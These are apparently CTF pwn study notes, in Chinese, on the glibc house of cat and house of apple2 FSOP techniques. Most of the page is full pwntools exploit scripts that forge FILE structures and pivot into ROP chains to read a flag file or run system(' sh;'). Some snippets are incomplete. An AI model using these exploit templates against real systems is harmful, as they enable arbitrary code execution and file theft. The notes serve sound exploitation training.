最常用的house攻击
[TOC]
经验总结
_IO_list_all,IO_2_1_stderr,stderr看情况写哪个 FROP打house of apple2,malloc_assert打house of cat 题目没有sandbox就最好不打orw 注意FROP还有个条件要满足
1. _IO_list_all写入一个可控堆地址
2. FAKE FILE+0x88(_IO_lock_t *_lock)的值=writable addr
3. FAKE FILE+0xc0(fp->_mode)的值=0
4. FAKE FILE+0x28的值>FAKE FILE+0x20的值(fp->_IO_write_ptr > fp->_IO_write_base)
- 调试断点
b *&_IO_cleanup
b *&_IO_flush_all
b *&_IO_flush_all_lockp
b *&_IO_flush_all_lockp+223
b *&_IO_wfile_seekoff
b *&_IO_switch_to_wget_mode
一个小技巧:有时候题目给的libc是没有符号表的,难以调试,可以从glibc-all-in-one中找到有符号表的同样版本的libc,这样有符号表,pwndbg更好有断点进行调试
house of cat
house of cat在_IO_switch_to_wget_mode可以设置rdx,随后调用setcontent+61可以直接进行orw,不用magic gadget 但是house of cat需要控制rcx不为0,在malloc_assert的时候可以满足,dbg时发现FSOP不能满足,此时建议打apple2 house of cat在elf文件中stderr会先用elf文件中的而不是libc中的stderr 可以打IO_2_1_stderr 只能打orw,因为后面程序都dump了 对应设置如下
- _lock = writable address,_mode = 0
- fake_file+0xa0也就是wide_data设置为一个堆地址
- fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base wide_data+0x20>wide_data+0x18 rdx=*(wide_data+0x20)
- wide_data+0xe0设置为一个地址C,让该地址C+0x18为一个函数,一般为setcontext+61
largebin attack house of cat
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
p=process('/home/zp9080/PWN/houseofcat')
libc=ELF('/home/zp9080/PWN/libc.so.6')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
sa('mew mew mew~~~~~~','LOGIN | r00t QWBQWXF admin')
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size))
sa('plz input your content:\n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', cont)
#177A 16DE
def dbg():
gdb.attach(p,'b *$rebase(0x177A )')
pause()
#gdb.attach(p,'b* $rebase(0x1DDD)')
add(0,0x420,'aaa')
add(1,0x430,'bbb')
add(2,0x418,'ccc')
delete(0)
add(3,0x440,'ddd')
show(0)
ru('Context:\n')
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x21a0d0
info('libc->'+hex(libcbase))
rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x000000000011f497
ret=libcbase+0x0000000000029cd6
rax=libcbase+0x0000000000045eb0
stderr=libcbase+libc.sym['stderr']
setcontext=libcbase+libc.sym['setcontext']
close=libcbase+libc.sym['close']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
syscallret=libcbase+next(libc.search(asm('syscall\nret')))
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,b'\x00'))-0x290
info('heap->'+hex(heapaddr))
#ck7的mem
fake_frame_addr=heapaddr+0x17d0
#fake IO
ioaddr=heapaddr+0xb00
next_chain = 0
fake_IO_FILE = p64(0)*4 #heapaddr+0xb30,_wide_data从这个开始
fake_IO_FILE +=p64(0)*3
fake_IO_FILE +=p64(0) #_wide_data->write_base
fake_IO_FILE +=p64(fake_frame_addr) #_wide_data->write_ptr _wide_data+0x20,也就是rdx的值
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(ioaddr+0x30) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2160d0) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(ioaddr+0x30+0x10) # wide_data->vtable,到时候会执行wide_data->vtable+0x18,也就是setcontent+61
payload1=fake_IO_FILE
delete(2)
'''
因为edit限制长度,那么就先写入再largebin attack,然后FAKE FILE的前0x30字节因为链入largebin被修改也没事
'''
add(6,0x418,payload1)
delete(6)
#large bin attack stderr poiniter
edit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))
add(5,0x440,'aaaaa')
flag=heapaddr+0x2050
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8
frame.rip = rdi+ 1 # : ret
#close(0)
payload=p64(close)+p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)
payload+=p64(rdi)+p64(0)+p64(rsi)+p64(heapaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)
add(7,0x430,bytes(frame)+payload)
add(8,0x430,'a')
delete(5)
add(9,0x450,'flag')
delete(8)
edit(5,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x1c00)+p64(heapaddr+0x24a0-0x20+3))
#会先largebin attack修改topchunk,然后calloc(0x450)最后触发malloc_assert
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
sla('plz input your cat size:',str(0x450))
#b *0x_IO_wfile_seekoff _IO_switch_to_wget_mode
p.interactive()
tcache house of cat
- 其实和largebin attack很像,而且打tcache可以一般可以任意地址申请,因此可以写到_IO_2_1_stderr 例题 nssround21 Heresy
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
# p=remote('xyctf.top',54425)
def dbg():
gdb.attach(p,'b *$rebase(0x1210)')
pause()
def add(name,size,content):
p.sendlineafter("choice>>",str(1))
p.sendafter("Enter your name",name)
p.sendlineafter("Enter your size",str(size))
p.sendafter("Enter your content",content)
def delete(idx):
p.sendlineafter("choice>>",str(2))
p.sendlineafter("Enter the id you want to query",str(idx))
def show(idx):
p.sendlineafter("choice>>",str(3))
p.sendlineafter("Enter the id you want to query",str(idx))
def change(idx,old,new):
p.sendlineafter("choice>>",str(4))
p.sendlineafter("Enter the id you want to query",str(idx))
p.sendafter("Which name do you want to change",old)
p.sendafter("A new letter!!!",new)
def edit(idx,content):
p.sendlineafter("choice>>",str(5))
p.sendlineafter("Enter the id you want to query",str(idx))
p.sendafter("Edited content",content)
add(b'a'*0xf,0x120,b'a') #0
for i in range(8):
add(b'a',0x150,b'a') #1-8
add(b'a',0x20,b'a')
#泄露heapbase
change(0,b'\x00',b'a')
change(0,b'\x01',b'\x20')
delete(1)
edit(0,b'a'*0x130)
show(0)
p.recvuntil('CONTENT:')
p.recvuntil(b'a'*0x130)
heapbase=u64(p.recvuntil('\x05')[-6:].ljust(8,b'\x00'))<<12
print(hex(heapbase))
#修复
edit(0,b'a'*0x120+p64(0)+p64(0x161)+p64(heapbase>>12))
#泄露libcbase
for i in range(2,9):
delete(i)
payload=b'a'*0x120+b'a'*0x160*7+b'a'*0x10
edit(0,payload)
show(0)
p.recvuntil('CONTENT:')
unsortedbin_mainarena=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libcbase=unsortedbin_mainarena-0x21ace0
print(hex(libcbase))
#修复
payload=b'a'*0x120+( p64(0)+p64(0x161)+b'a'*0x150 ) *7+p64(0)+p64(0x161)
edit(0,payload)
#tcache poison
IO_2_1_stderr=libcbase+0x21b6a0
system_addr=libcbase+libc.sym['system']
payload=b'a'*0x120+( p64(0)+p64(0x161)+b'a'*0x150 ) *6+p64(0)+p64(0x161)+p64(((heapbase+0x2a0)>>12)^IO_2_1_stderr)
edit(0,payload)
fake_frame_addr=heapbase+0x2b0
setcontext=libcbase+libc.sym['setcontext']
wide_data=b'\x00'
wide_data=wide_data.ljust(0x18,b'\x00')
wide_data+=p64(fake_frame_addr-10) #fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base
wide_data+=p64(fake_frame_addr)
wide_data+=p64(setcontext+61)
wide_data=wide_data.ljust(0xe0,b'\x00')
wide_data+=p64(heapbase+0xc20)
add(b'a',0x150,wide_data)
next_chain = 0
fake_IO_FILE = b'\x00'
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heapbase+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(heapbase+0xc10) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libcbase+libc.sym['_IO_wfile_jumps']+0x10) # vtable=_IO_wfile_jumps+0x10
add(b'a',0x150,fake_IO_FILE)
#修改top chunk
#注意unsorted bin被破坏会报错
rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x11f2e7
ret=libcbase+0x0000000000029cd6
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
flag=heapbase+0x2a0
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8
frame.rip = ret
#close(0)
ropchain=p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(open)
ropchain+=p64(rdi)+p64(3)+p64(rsi)+p64(heapbase)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)
payload=b'flag\x00\x00\x00\x00'+b'\x00'*8+bytes(frame)+ropchain
payload=payload.ljust(0x120+0x160*6,b'\x00')+p64(0)+p64(0x161)+wide_data
payload=payload.ljust(0x120+0x160*7,b'\x00')
payload+=p64(0)+p64(0x161)+p64(unsortedbin_mainarena)*2
payload+=b'a'*0x140+p64(0x160)+p64(0x30)+b'a'*0x20+p64(0)+p64(0x51)
edit(0,payload)
p.sendlineafter("choice>>",str(1))
p.sendafter("Enter your name",b'a')
# dbg()
p.sendlineafter("Enter your size",str(0x180))
p.interactive()
house of apple2
fp的vtable覆盖为_IO_wxxx_jumps(加减偏移),执行_IO_wfile_overflow,绕过里面一个个函数调用链,最后根据偏移执行_wide_vtable里面的函数,利用magic gadget执行orw拿到flag 在打FSOP的时候打apple2最好 _IO_wfile_overflow 对fp的设置如下:
- _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
- vtable设置为_IO_wfile_jumps(加减偏移),使其能成功调用_IO_wfile_overflow即可
- _lock = writable address,_mode = 0
- _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
- _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
- _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
- _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
- _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
函数的调用链如下:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
libc2.31 exp
apple2攻击直接秒了低版本的largebin attack堆题
- 这个题是calloc不能打tcache,想了很多方法都是和tcache相关,最后还是转到打largebin attack的io链
- 这里有个奇思妙想,之前总说apple2攻击无法控制FAKE FILE的前0x10字段,但是其实我们可以控制FAKE FILE的flags字段,这样就直接控制了rdi的指向,详细见exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
p=process('/home/zp9080/PWN/pwn')
elf=ELF('/home/zp9080/PWN/pwn')
libc=ELF('/home/zp9080/PWN/libc.so')
def dbg():
gdb.attach(p,'b *$rebase(0xD95)')
pause()
def add(index,size):
p.sendline(str(1))
p.sendlineafter('index:\n', str(index))
p.sendlineafter("Size:\n", str(size))
def show(index):
p.sendline(str(2))
p.sendlineafter('index:\n', str(index))
def edit(index, content):
p.sendline(str(3))
p.sendlineafter('index:\n', str(index))
p.sendafter("context: \n",content)
def delete(index):
p.sendline(str(4))
p.sendlineafter('index:\n', str(index))
add(0,0x420)
add(1,0x428)
add(2,0x418)
delete(0)
add(3,0x440)
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))- 0x1ebfd0
info('libc->'+hex(libcbase))
rdi=libcbase+0x26b72
rsi=libcbase+0x27529
rdxr12=libcbase+0x11c1e1
ret=libcbase+0x8aa
rax=libcbase+0x4a550
io_list_all=libcbase+libc.sym['_IO_list_all']
system_addr=libcbase+libc.sym['system']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
setcontext=libcbase+0x580DD #setcontext+61
edit(0,b'a'*0x10)
show(0)
p.recvuntil(b'a'*0x10)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x290
info('heap->'+hex(heapbase))
edit(0,p64(libcbase+0x1ebfd0)*2+p64(heapbase+0x290)+p64(io_list_all-0x20))
delete(2)
add(4,0x450)
#fake IO
ioaddr=heapbase+0xb00-0x10
payload = p64(0)*2 + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x90, b'\x00') + p64(ioaddr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
payload = payload.ljust(0xd0 + 0xe0, b'\x00')+p64(ioaddr+0xe0+0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system_addr)
edit(2,payload)
edit(1,b'a'*0x420+b' sh;\x00\x00\x00')
# dbg()
p.sendline(str(5))
p.interactive()
libc2.35 exp
- system
rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x11f2e7
ret=libcbase+0x0000000000029cd6
system_addr=libcbase+libc.sym['system']
payload= b' sh;\x00\x00\x00'+p64(0)
payload += p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x48, b'\x00') + p64(heapbase) #FAKE FILE+0x48
payload = payload.ljust(0xa0, b'\x00') + p64(heapbase+0x1e40+0x10) #_wide_data
payload = payload.ljust(0xd8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
edit(4,payload)
wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(system_addr)
wide_data=wide_data.ljust(0xe0,b'\x00')
wide_data+=p64(heapbase+0x1e40+0x10)
add(0x150,5,1)
edit(5,wide_data)
- orw
libc2.35
gadget=licbase+0x16A1FA
magic_gadget = libc_base + libc.sym["svcudp_reply"] + 0x1a
0x7ffff7f092ba <svcudp_reply+26> mov rbp, qword ptr [rdi + 0x48]
0x7ffff7f092be <svcudp_reply+30> mov rax, qword ptr [rbp + 0x18]
0x7ffff7f092c2 <svcudp_reply+34> lea r13, [rbp + 0x10]
0x7ffff7f092c6 <svcudp_reply+38> mov dword ptr [rbp + 0x10], 0
0x7ffff7f092cd <svcudp_reply+45> mov rdi, r13
0x7ffff7f092d0 <svcudp_reply+48> call qword ptr [rax + 0x28]
fake_IO_addr =
magic_gadget = libc_base + libc.sym["svcudp_reply"] + 0x1a
leave_ret = libc_base + 0x0000000000052d72 #: leave ; ret
pop_rdi_ret = libc_base + 0x000000000002daa2 #: pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000037c0a #: pop rsi ; ret
pop_rdx_r12_ret = libc_base + 0x00000000001066e1 #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
orw_rop = b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libc_base + libc.sym['open'])
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['write'])
payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libc_base + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
- 过程描述
- rdi= A,rbp=rop_addr
- rax=A-0x10
- call [rax+0x28]等价于call leave;ret
- leave:mov rsp,rbp; pop rbp 此时rsp=rop_addr再ret执行rop